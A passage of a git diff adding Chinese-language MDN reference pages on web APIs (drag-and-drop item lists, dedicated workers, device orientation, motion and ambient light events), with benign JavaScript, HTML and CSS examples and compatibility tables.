列表中拖动项的数量,如果列表为空或禁用则为0。如果列表的{{domxref("DataTransfer")}}对象未与拖动数据存储关联,则认为拖动列表被禁用。

+ +

示例

+ +

这个例子演示了length 属性的用法。

+ +

JavaScript

+ +
function dragstart_handler(ev) {
+  console.log("dragStart");
+  // Add this element's id to the drag payload so the drop handler will
+  // know which element to add to its tree
+  var dataList = ev.dataTransfer.items;
+  dataList.add(ev.target.id, "text/plain");
+  // Add some other items to the drag payload
+  dataList.add("<p>... paragraph ...</p>", "text/html");
+  dataList.add("http://www.example.org","text/uri-list");
+}
+
+function drop_handler(ev) {
+  console.log("Drop");
+  ev.preventDefault();
+  var data = ev.dataTransfer.items;
+  // Loop through the dropped items and log their data
+  for (var i = 0; i < data.length; i++) {
+    if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) {
+      // This item is the target node
+      data[i].getAsString(function (s){
+        ev.target.appendChild(document.getElementById(s));
+      });
+    } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) {
+      // Drag data item is HTML
+      data[i].getAsString(function (s){
+        console.log("... Drop: HTML = " + s);
+      });
+    } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) {
+      // Drag data item is URI
+      data[i].getAsString(function (s){
+        console.log("... Drop: URI = " + s);
+      });
+    }
+  }
+}
+
+function dragover_handler(ev) {
+  console.log("dragOver");
+  ev.preventDefault();
+  // Set the dropEffect to move
+  ev.dataTransfer.dropEffect = "move"
+}
+
+function dragend_handler(ev) {
+  console.log("dragEnd");
+  var dataList = ev.dataTransfer.items;
+  // Clear any remaining drag data
+  dataList.clear();
+}
+
+
+ +

HTML

+ +
<div>
+  <p id="source" ondragstart="dragstart_handler(event);" ondragend="dragend_handler(event);" draggable="true">
+     Select this element, drag it to the Drop Zone and then release the selection to move the element.</p>
+</div>
+<div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">Drop Zone</div>
+
+ +

CSS

+ +
div {
+  margin: 0em;
+  padding: 2em;
+}
+
+#source {
+  color: blue;
+  border: 1px solid black;
+}
+
+#target {
+  border: 1px solid black;
+}
+
+ +

结果

+ +

{{EmbedLiveSample('Example_Drag_and_Drop')}}

+ +

{{LiveSampleLink('Example_Drag_and_Drop', 'Drag and Drop demo link')}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'interaction.html#dom-datatransferitemlist-length','length')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#dom-datatransferitemlist-length','length')}}{{Spec2('HTML5.1')}}Not included in W3C HTML5 {{Spec2('HTML5 W3C')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.DataTransferItemList.length")}}

+ +
{{APIRef("HTML Drag and Drop API")}}
diff --git a/files/zh-cn/web/api/dedicatedworkerglobalscope/index.html b/files/zh-cn/web/api/dedicatedworkerglobalscope/index.html new file mode 100644 index 0000000000..79044ba3cb --- /dev/null +++ b/files/zh-cn/web/api/dedicatedworkerglobalscope/index.html @@ -0,0 +1,132 @@ +--- +title: DedicatedWorkerGlobalScope +slug: Web/API/DedicatedWorkerGlobalScope +tags: + - API + - DedicatedWorkerGlobalScope + - Interface + - Reference + - Web Workers + - Workers + - 参考 + - 接口 +translation_of: Web/API/DedicatedWorkerGlobalScope +--- +

{{APIRef("Web Workers API")}}

+ +

DedicatedWorkerGlobalScope 对象(也就是 {{domxref("Worker")}} 全局作用域)可以通过 {{domxref("window.self","self")}} 关键字来访问。一些在 worker 全局作用域下不可用的全局函数、命名空间对象以及构造器,也可以通过此对象使用。在 JavaScript 参考Web Workers 可以使用的函数和类页面中,有列举这些特性。

+ +

属性

+ +

该接口从 {{domxref("WorkerGlobalScope")}} 接口以及它的父接口 {{domxref("EventTarget")}} 继承属性,因此,此接口也实现了来自 {{domxref("WindowTimers")}}、{{domxref("WindowBase64")}} 和{{domxref("WindowEventHandlers")}} 的属性。

+ +
+
{{domxref("DedicatedWorkerGlobalScope.name")}} {{readOnlyinline}}
+
通过 {{domxref("Worker.Worker", "Worker()")}} 构造器创建 {{domxref("Worker")}} 时,可以选择为其设置一个名称,即此属性的值。这主要用于调试。
+
+ +

从 WorkerGlobalScope 继承的属性

+ +
+
{{domxref("WorkerGlobalScope.self")}}
+
返回一个指向 DedicatedWorkerGlobalScope 本身的对象引用。
+
{{domxref("WorkerGlobalScope.console")}} {{readOnlyinline}}
+
返回与当前 worker 相关联的 {{domxref("Console")}}。
+
{{domxref("WorkerGlobalScope.location")}} {{readOnlyinline}}
+
返回与当前 worker 相关联的 {{domxref("WorkerLocation")}}。WorkerLocation 是一个 worker 专有的 location 对象,基本上是浏览器作用域下 {{domxref("Location")}} 的子集,但被被适配给了 worker。
+
{{domxref("WorkerGlobalScope.navigator")}} {{readOnlyinline}}
+
返回与当前 worker 相关联的 {{domxref("WorkerNavigator")}}。WorkerNavigator 是一个 worker 专有的 navigator 对象,基本上是浏览器作用域下 {{domxref("Navigator")}} 的子集,但被被适配给了 worker。
+
{{domxref("WorkerGlobalScope.performance")}} {{readOnlyinline}} {{Non-standard_inline}}
+
返回与当前 worker 相关联的 {{domxref("Performance")}},是一个正常的 performance 对象,但只有一部分属性和方法可用。
+
+ +

事件处理器

+ +

该接口从 {{domxref("WorkerGlobalScope")}} 接口以及它的父接口 {{domxref("EventTarget")}} 继承事件处理器,因此,此接口也实现了来自 {{domxref("WindowTimers")}}、{{domxref("WindowBase64")}} 和{{domxref("WindowEventHandlers")}} 的事件处理器。

+ +
+
{{domxref("DedicatedWorkerGlobalScope.onmessage")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised. These events are of type {{domxref("MessageEvent")}} and will be called when the worker receives a message from the document that started it (i.e. from the {{domxref("Worker.postMessage")}} method.)
+
{{domxref("DedicatedWorkerGlobalScope.onmessageerror")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("messageerror")}} event is raised.
+
+ +

方法

+ +

该接口从 {{domxref("WorkerGlobalScope")}} 接口以及它的父接口 {{domxref("EventTarget")}} 继承方法,因此,此接口也实现了来自 {{domxref("WindowTimers")}}、{{domxref("WindowBase64")}} 和{{domxref("WindowEventHandlers")}} 的方法。

+ +
+
{{domxref("WorkerGlobalScope.close()")}}
+
抛弃当前 WorkerGlobalScope 的 event loop 中所有正在排队的任务,关闭当前作用域。
+
{{domxref("DedicatedWorkerGlobalScope.postMessage")}}
+
向该 worker 的父文档发送消息——消息可以是任何 Javascript 对象。
+
+ +

从 WorkerGlobalScope 继承的方法

+ +
+
{{domxref("WorkerGlobalScope.dump()")}} {{non-standard_inline}}
+
向控制台写入一条消息。
+
{{domxref("WorkerGlobalScope.importScripts()")}}
+
向当前 worker 的作用域导入一或更多条脚本。可按需导入任意数量的脚本,使用逗号分割参数。比如: importScripts('foo.js', 'bar.js');
+
+ +

从其他来源实现的方法

+ +
+
{{domxref("WindowBase64.atob()")}}
+
解码使用 base-64 编码的字符串数据。
+
{{domxref("WindowBase64.btoa()")}}
+
从字符串生成使用 base-64 编码的 ASCII 字符串。
+
{{domxref("WindowTimers.clearInterval()")}}
+
取消使用 {{domxref("WindowTimers.setInterval()")}} 创建的定时操作。
+
{{domxref("WindowTimers.clearTimeout()")}}
+
取消使用 {{domxref("WindowTimers.setTimeout()")}} 创建的定时操作。
+
{{domxref("WindowTimers.setInterval()")}}
+
每隔一定时间执行一次给定函数。
+
{{domxref("WindowTimers.setTimeout()")}}
+
延迟一定时间执行给定函数。
+
+ +

事件

+ +
+
message
+
Fired when the worker receives a message from its parent.
+ Also available via the onmessage property.
+
messageerror
+
Fired when a worker receives a message that can't be deserialized.
+ Also available via the onmessageerror property.
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#dedicatedworkerglobalscope', 'DedicatedWorkerGlobalScope')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.DedicatedWorkerGlobalScope")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/detecting_device_orientation/index.html b/files/zh-cn/web/api/detecting_device_orientation/index.html new file mode 100644 index 0000000000..d6afcb16f6 --- /dev/null +++ b/files/zh-cn/web/api/detecting_device_orientation/index.html @@ -0,0 +1,318 @@ +--- +title: 检测设备方向 +slug: Web/API/Detecting_device_orientation +tags: + - Detecting + - Detecting device orientation + - Device Orientation + - Motion + - 参考 + - 方向 + - 移动设备 + - 设备方向 +translation_of: Web/API/Detecting_device_orientation +--- +

{{SeeCompatTable}}

+ +

有越来越多的基于web的设备能够确定它们的方向; 也就是说,它们可以报告数据以指示基于重力方向的方向改变。特别地,手持设备如手机可以利用这些信息以自动旋转屏幕,保持内容直立,当设备旋转至横屏时(宽度大于高度),提供网页内容的横屏视图。

+ +

有两种Javascript事件负责处理设备方向信息。第一种是{{domxref("DeviceOrientationEvent")}},它会在加速度传感器检测到设备在方向上产生变化时触发。通过处理该事件传来的数据信息,让交互式地响应用户移动设备旋转和仰角变化成为可能。

+ +

第二种是{{domxref("DeviceMotionEvent")}},它会在加速度发生改变时触发。跟{{domxref("DeviceOrientationEvent")}}不同,{{domxref("DeviceMotionEvent")}}监听的是相应方向上加速度的变化。传感器通常都具有监听{{domxref("DeviceMotionEvent")}}的能力,包括笔记本中用于保护移动中的存储设备的传感器。{{domxref("DeviceOrientationEvent")}}事件更多见于移动设备中。

+ +

处理方向(orientation)事件

+ +

要接收设备方向变化信息,只需要监听{{ event("deviceorientation") }}事件:

+ +
+

注意:gyronorm.js is a polyfill for normalizing the accelerometer and gyroscope data on mobile devices. This is useful for overcoming some of the differences in device support for device orientation.

+
+ +
window.addEventListener("deviceorientation", handleOrientation, true);
+
+ +

注册完事件监听处理函数后(对应这个例子中的handleOrientation),监听函数会定期地接收到最新的设备方向数据。

+ +

方向事件对象中包含四个值:

+ +

{{ domxref("DeviceOrientationEvent.absolute") }}

+ +

{{ domxref("DeviceOrientationEvent.alpha") }}

+ +

{{ domxref("DeviceOrientationEvent.beta") }}

+ +

{{ domxref("DeviceOrientationEvent.gamma") }}

+ +

下面是一个事件处理函数的例子:

+ +
function handleOrientation(orientData) {
+  var absolute = orientData.absolute;
+  var alpha = orientData.alpha;
+  var beta = orientData.beta;
+  var gamma = orientData.gamma;
+
+  // Do stuff with the new orientation data
+}
+
+ +

相关值解释

+ +

关于每一个轴的记录值表示的是相对于标准的坐标系,设备在某一个给定轴上的旋转量。Orientation and motion data explained 这篇文章有更详细的描述,下面是对这篇文章的总结。

+ + + +

例子

+ +

这个例子会成功运行在支持检测自己方向的设备中的支持{{event("deviceorientation")}} 事件的浏览器中。

+ +

让我们想象一下有一个球在花园中:

+ +
<div class="garden">
+  <div class="ball"></div>
+</div>
+
+<pre class="output"></pre>
+ +
+ +
+ +

花园只有200px宽(很小对吧),球在中央:

+ +
.garden {
+  position: relative;
+  width : 200px;
+  height: 200px;
+  border: 5px solid #CCC;
+  border-radius: 10px;
+}
+
+.ball {
+  position: absolute;
+  top   : 90px;
+  left  : 90px;
+  width : 20px;
+  height: 20px;
+  background: green;
+  border-radius: 100%;
+}
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +

现在,如果我们移动设备,球将随之移动:

+ +
var ball   = document.querySelector('.ball');
+var garden = document.querySelector('.garden');
+var output = document.querySelector('.output');
+
+var maxX = garden.clientWidth  - ball.clientWidth;
+var maxY = garden.clientHeight - ball.clientHeight;
+
+function handleOrientation(event) {
+  var x = event.beta;  // In degree in the range [-180,180]
+  var y = event.gamma; // In degree in the range [-90,90]
+
+  output.innerHTML  = "beta : " + x + "\n";
+  output.innerHTML += "gamma: " + y + "\n";
+
+  // Because we don't want to have the device upside down
+  // We constrain the x value to the range [-90,90]
+  if (x >  90) { x =  90};
+  if (x < -90) { x = -90};
+
+  // To make computation easier we shift the range of
+  // x and y to [0,180]
+  x += 90;
+  y += 90;
+
+  // 10 is half the size of the ball
+  // It center the positioning point to the center of the ball
+  ball.style.top  = (maxX*x/180 - 10) + "px";
+  ball.style.left = (maxY*y/180 - 10) + "px";
+}
+
+window.addEventListener('deviceorientation', handleOrientation);
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+
+ +
+ +
+ +
+ +
+ +
+ +
+ +
+
+ +

输出结果:

+ +

这里以新窗口打开此示例;因为有些浏览器中的 {{event("deviceorientation")}} 事件不支持跨域。

+ +

+ +
+

警告: Chrome 和 Firefox 处理角度的机制不同,所以某些轴上的方向是相反的。

+
+ +

处理移动(motion)事件

+ +

移动事件的处理跟方向事件是一样的,除了他们有自己的事件名:{{ event("devicemotion") }}

+ +
window.addEventListener("devicemotion", handleMotion, true);
+ +
+ +

真正不同的是做为参数传递给HandleMotion函数的{{ domxref("DeviceMotionEvent") }}对象所包含的信息。

+ +

这个对象包含四个属性:

+ + + +

相关值解释

+ +

{{ domxref("DeviceMotionEvent") }}对象提供给web开发者设备在位置和方向上的改变速度的相关信息。这些变化信息是通过三个轴来体现的。(Orientation and motion data explained有更详细的说明。)

+ +

acceleration 和 accelerationIncludingGravity,都包含下面三个轴:

+ + + +

对于 rotationRate ,情况有点不同;三个轴的信息对应着以下三种情况:

+ + + +

最后,interval 表示的是从设备获取数据的间隔时间,单位是毫秒。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Initial specification.
+ +

浏览器兼容性

+ +

DeviceMotionEvent

+ +

{{Compat("api.DeviceMotionEvent")}}

+ +

DeviceOrientationEvent

+ +

{{Compat("api.DeviceOrientationEvent")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/deviceacceleration/index.html b/files/zh-cn/web/api/deviceacceleration/index.html new file mode 100644 index 0000000000..837f019b73 --- /dev/null +++ b/files/zh-cn/web/api/deviceacceleration/index.html @@ -0,0 +1,46 @@ +--- +title: DeviceAcceleration +slug: Web/API/DeviceAcceleration +tags: + - API + - 传感器 + - 实验性 + - 接口 + - 需要示例 +translation_of: Web/API/DeviceMotionEventAcceleration +--- +
{{ ApiRef("Device Orientation Events") }}{{SeeCompatTable}}
+ +
 
+ +

设备加速对象可以提供有关设备沿三个轴(x、y、z)的加速度的信息。

+ +

属性

+ +
+
{{domxref("DeviceAcceleration.x")}} {{readonlyInline}}
+
沿X轴的加速度量(只读)
+
{{domxref("DeviceAcceleration.y")}} {{readonlyInline}}
+
沿Y轴的加速度量(只读)
+
{{domxref("DeviceAcceleration.z")}} {{readonlyInline}}
+
沿Z轴的加速度量(只读)
+
+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Device Orientation", "#device_acceleration", "DeviceAcceleration")}}{{Spec2("Device Orientation")}}Initial definition
diff --git a/files/zh-cn/web/api/devicelightevent/index.html b/files/zh-cn/web/api/devicelightevent/index.html new file mode 100644 index 0000000000..3dffcc79b6 --- /dev/null +++ b/files/zh-cn/web/api/devicelightevent/index.html @@ -0,0 +1,61 @@ +--- +title: DeviceLightEvent +slug: Web/API/DeviceLightEvent +tags: + - API + - Ambient Light Events + - Experimental + - Interface + - NeedsBetterSpecLink + - NeedsMarkupWork + - 事件 +translation_of: Web/API/DeviceLightEvent +--- +
{{apiref("Ambient Light Events")}}{{SeeCompatTable}}
+ +

DeviceLightEvent 为 Web 开发人员提供来自光传感器或类似设备的、关于附近环境光水平的信息。例如,基于当前环境光水平调节屏幕的亮度,以便节省电量或提供更好的阅读性。

+ +

属性

+ +
+
{{domxref("DeviceLightEvent.value")}}
+
环境光的亮度,单位为 {{interwiki("wikipedia", "lux")}}。
+
+ +

示例

+ +
window.addEventListener('devicelight', function(event) {
+  console.log(event.value);
+});
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}{{ Spec2('AmbientLight') }}Initial specification
+ +

浏览器兼容性

+ + + +

{{Compat("api.DeviceLightEvent")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/devicelightevent/using_light_events/index.html b/files/zh-cn/web/api/devicelightevent/using_light_events/index.html new file mode 100644 index 0000000000..f90edf8ca2 --- /dev/null +++ b/files/zh-cn/web/api/devicelightevent/using_light_events/index.html @@ -0,0 +1,74 @@ +--- +title: Using Light Events +slug: Web/API/DeviceLightEvent/Using_light_events +tags: + - WebAPI + - 事件 + - 环境光 +translation_of: Web/API/Ambient_Light_Events +--- +
{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}
+ +

环境光线事件是一个易用的让网页或应用感知光强变化的方法。它使网页或应用能对光强变化做出反应,例如改变用户界面的颜色对比度,或为拍照而改变曝光度。

+ +

光线事件

+ +

当设备的光线传感器检测到光强等级的变化时,它会向浏览器通知这个变化。当浏览器得到这个通知后,会发送(fire)一个提供光强信息的 {{domxref("DeviceLightEvent")}} 事件。

+ +

想要捕获这个事件,可用 {{domxref("EventTarget.addEventListener","addEventListener")}} 方法把事件处理器绑定到 window 上(使用 {{event("devicelight")}} 事件名),或者直接把事件处理器赋值给 {{domxref("window.ondevicelight")}} 属性。

+ +

该事件被捕捉后,可以从传入的事件对象上的 {{domxref("DeviceLightEvent.value")}} 属性获取光强(单位为 {{interwiki("wikipedia", "lux")}})。

+ +

示例

+ +
if ('ondevicelight' in window) {
+  window.addEventListener('devicelight', function(event) {
+    var body = document.querySelector('body');
+    if (event.value < 50) {
+      body.classList.add('darklight');
+      body.classList.remove('brightlight');
+    } else {
+      body.classList.add('brightlight');
+      body.classList.remove('darklight');
+    }
+  });
+} else {
+  console.log('不支持 devicelight 事件');
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}{{ Spec2('AmbientLight') }}首次定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.DeviceLightEvent")}}

+ +

Gecko 备注

+ +

{{event("devicelight")}} 事件在 Firefox Mobile for Android (15.0) 和 Firefox OS (B2G) 上实现并默认可用。从Gecko 22.0 {{geckoRelease("22.0")}} 开始,Mac OS X桌面版也可使用该事件。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/devicemotionevent/acceleration/index.html b/files/zh-cn/web/api/devicemotionevent/acceleration/index.html new file mode 100644 index 0000000000..88646f7a72 --- /dev/null +++ b/files/zh-cn/web/api/devicemotionevent/acceleration/index.html @@ -0,0 +1,119 @@ +--- +title: DeviceMotionEvent.acceleration +slug: Web/API/DeviceMotionEvent/acceleration +tags: + - API + - Firefox OS + - 传感器 + - 运动传感器 + - 需要示例 +translation_of: Web/API/DeviceMotionEvent/acceleration +--- +

{{ ApiRef("Device Orientation Events") }}

+ +

acceleration属性会返回设备的加速度记录(单位:m / s2)。

+ +
注意: 如果硬件无法从acceleration数据中移除重力加速度,则该值在{{ domxref("DeviceMotionEvent") }}中可能并不存在,你应当使用{{ domxref("DeviceMotionEvent.accelerationIncludingGravity") }}代替
+ +

语法

+ +
var acceleration = instanceOfDeviceMotionEvent.acceleration;
+
+ +

+ +

acceleration是一个包括三轴(x、y、z)加速度信息的对象,每个轴都有自己的属性:

+ +
+
x
+
表示x轴(西到东)上的加速度
+
y
+
表示y轴(南到北)上的加速度
+
z
+
表示z轴(下到上)上的加速度
+
+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Initial specification.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("6")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("6")}}{{CompatNo}}{{CompatNo}}4.2
+
+ +

推荐浏览

+ + diff --git a/files/zh-cn/web/api/devicemotionevent/accelerationincludinggravity/index.html b/files/zh-cn/web/api/devicemotionevent/accelerationincludinggravity/index.html new file mode 100644 index 0000000000..b35c619384 --- /dev/null +++ b/files/zh-cn/web/api/devicemotionevent/accelerationincludinggravity/index.html @@ -0,0 +1,119 @@ +--- +title: DeviceMotionEvent.accelerationIncludingGravity +slug: Web/API/DeviceMotionEvent/accelerationIncludingGravity +tags: + - API + - Firefox OS + - 传感器 + - 运动传感器 + - 需要示例 +translation_of: Web/API/DeviceMotionEvent/accelerationIncludingGravity +--- +

{{ ApiRef("Device Orientation Events") }}

+ +

accelerationIncludingGravity属性返回设备的加速度的记录,单位为米每秒平方(m / s2)与已移除重力加速度的{{domxref("DeviceMotionEvent.acceleration")}}不同,此值是由用户引起的设备的加速度和由重力加速度的总和。

+ +

此值通常不如{{domxref("DeviceMotionEvent.acceleration")}}实用,但是在部分不能自动从加速度数据中移除重力加速度的设备(例如没有陀螺仪的设备),是唯一可用值。

+ +

语法

+ +
var acceleration = instanceOfDeviceMotionEvent.accelerationIncludingGravity;
+
+ +

+ +

accelerationIncludingGravity是一个包括三轴(x、y、z)加速度信息的对象,每个轴都有自己的属性:

+ +
+
x
+
表示x轴(西到东)上的加速度
+
y
+
表示y轴(南到北)上的加速度
+
z
+
表示z轴(下到上)上的加速度
+
+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Initial specification.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("6")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("6")}}{{CompatNo}}{{CompatNo}}4.2
+
+ +

推荐浏览

+ + diff --git a/files/zh-cn/web/api/devicemotionevent/devicemotionevent/index.html b/files/zh-cn/web/api/devicemotionevent/devicemotionevent/index.html new file mode 100644 index 0000000000..fcbe9a2864 --- /dev/null +++ b/files/zh-cn/web/api/devicemotionevent/devicemotionevent/index.html @@ -0,0 +1,38 @@ +--- +title: DeviceMotionEvent.DeviceMotionEvent() +slug: Web/API/DeviceMotionEvent/DeviceMotionEvent +translation_of: Web/API/DeviceMotionEvent/DeviceMotionEvent +--- +

{{APIRef("Device Orientation Events")}}{{Non-standard_header}}

+ +

The DeviceMotionEvent constructor 会创建一个新的 {{DOMxRef("DeviceMotionEvent")}}.

+ +

语法

+ +
var deviceMotionEvent = new DeviceMotionEvent(type[, options])
+ +

参数

+ +
+
type
+
必须是 "devicemotion".
+
options{{Optional_Inline}}
+
可选项如下: +
    +
  • acceleration: 一个对象,包含设备在X,Y和Z三个轴线上的加速度。加速度的单位为m/s2.
  • +
  • accelerationIncludingGravity: 一个对象,包含设备在X,Y和Z三个轴线上,重力作用下的加速度。加速度的单位为m/s2.
  • +
  • rotationRate: 一个对象,包含设备的定向在三个定向轴alpha, beta 和 gamma上的偏移比率。偏移比率的单位是每秒偏移的角度。
  • +
  • interval: 时间间隔,单位毫秒,表示设备获取数据的间隔时间。
  • +
+
+
+ +

说明

+ +

无特别说明。

+ +

浏览器兼容

+ + + +

{{Compat("api.DeviceMotionEvent.DeviceMotionEvent")}}

diff --git a/files/zh-cn/web/api/devicemotionevent/index.html b/files/zh-cn/web/api/devicemotionevent/index.html new file mode 100644 index 0000000000..c0a4d3868c --- /dev/null +++ b/files/zh-cn/web/api/devicemotionevent/index.html @@ -0,0 +1,80 @@ +--- +title: DeviceMotionEvent +slug: Web/API/DeviceMotionEvent +tags: + - API + - DeviceMotionEvent + - 传感器 + - 参考 + - 实验性 + - 接口 + - 移动设备 + - 运动传感器 +translation_of: Web/API/DeviceMotionEvent +--- +

{{apiref("Device Orientation Events")}}{{SeeCompatTable}}

+ +

DeviceMotionEvent 为web开发者提供了关于设备的位置和方向的改变速度的信息。

+ +
+

警告:目前,Firefox 和 Chrome 处理坐标的方式不同。 使用时要多加注意。

+
+ +

构造函数

+ +
+
{{DOMxRef("DeviceMotionEvent.DeviceMotionEvent()")}} {{Non-standard_Inline}}
+
创建一个新的 DeviceMotionEvent
+
+ +

属性

+ +
+
{{domxref("DeviceMotionEvent.acceleration")}} {{readonlyinline}}
+
提供了设备在X,Y,Z轴方向上加速度的对象。加速度的单位为 m/s2
+
{{domxref("DeviceMotionEvent.accelerationIncludingGravity")}} {{readonlyinline}}
+
提供了设备在X,Y,Z轴方向上带重力的加速度的对象。加速度的单位为 m/s2
+
{{domxref("DeviceMotionEvent.rotationRate")}} {{readonlyinline}}
+
提供了设备在 alpha,beta, gamma轴方向上旋转的速率的对象。旋转速率的单位为度每秒。
+
{{domxref("DeviceMotionEvent.interval")}} {{readonlyinline}}
+
表示从设备获取数据的间隔时间,单位是毫秒。
+
+ +

示例

+ +
window.addEventListener('devicemotion', function(event) {
+  console.log(event.acceleration.x + ' m/s2');
+});
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName("Device Orientation", "#devicemotionevent", "DeviceMotionEvent")}}{{Spec2("Device Orientation")}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.DeviceMotionEvent")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/devicemotionevent/interval/index.html b/files/zh-cn/web/api/devicemotionevent/interval/index.html new file mode 100644 index 0000000000..d96a237274 --- /dev/null +++ b/files/zh-cn/web/api/devicemotionevent/interval/index.html @@ -0,0 +1,104 @@ +--- +title: DeviceMotionEvent.interval +slug: Web/API/DeviceMotionEvent/interval +tags: + - API + - Firefox OS + - 传感器 + - 运动传感器 + - 需要示例 +translation_of: Web/API/DeviceMotionEvent/interval +--- +

{{ apiref("Device Orientation Events") }}

+ +

返回从底层硬件获取数据的时间间隔(单位:毫秒)。 您可以使用它来确定运动事件的粒度。

+ +

语法

+ +
var interval = instanceOfDeviceMotionEvent.interval;
+
+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Initial specification.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("6")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("6")}}{{CompatNo}}{{CompatNo}}4.2
+
+ +

推荐浏览

+ + diff --git a/files/zh-cn/web/api/devicemotionevent/rotationrate/index.html b/files/zh-cn/web/api/devicemotionevent/rotationrate/index.html new file mode 100644 index 0000000000..513d403ec0 --- /dev/null +++ b/files/zh-cn/web/api/devicemotionevent/rotationrate/index.html @@ -0,0 +1,120 @@ +--- +title: DeviceMotionEvent.rotationRate +slug: Web/API/DeviceMotionEvent/rotationRate +tags: + - API + - DOM + - Firefox OS + - 传感器 + - 运动传感器 + - 需要示例 +translation_of: Web/API/DeviceMotionEvent/rotationRate +--- +

{{ ApiRef("Device Orientation Events") }}

+ +

返回设备围绕其每个轴(x、y、z)旋转的速率(单位:度/秒)。

+ +
注意: 如果设备无法提供此信息,则为null
+ +

语法

+ +
var rates = instanceOfDeviceMotionEvent.rotationRate;
+
+ +

+ +

rotationRates属性是一个只读对象,用于描述设备围绕其每个轴的旋转速率:

+ +
+
alpha
+
设备绕其Z轴旋转的速率(即绕垂直于屏幕的线旋转)
+
beta
+
设备绕其X轴旋转的速率(即从前到后旋转)
+
gamma
+
设备绕其Y轴旋转的速率(即从一侧到另一侧)
+
+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Device Orientation')}}{{Spec2('Device Orientation')}}Initial specification.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("6")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile("6")}}{{CompatNo}}{{CompatNo}}4.2
+
+ +

推荐阅读

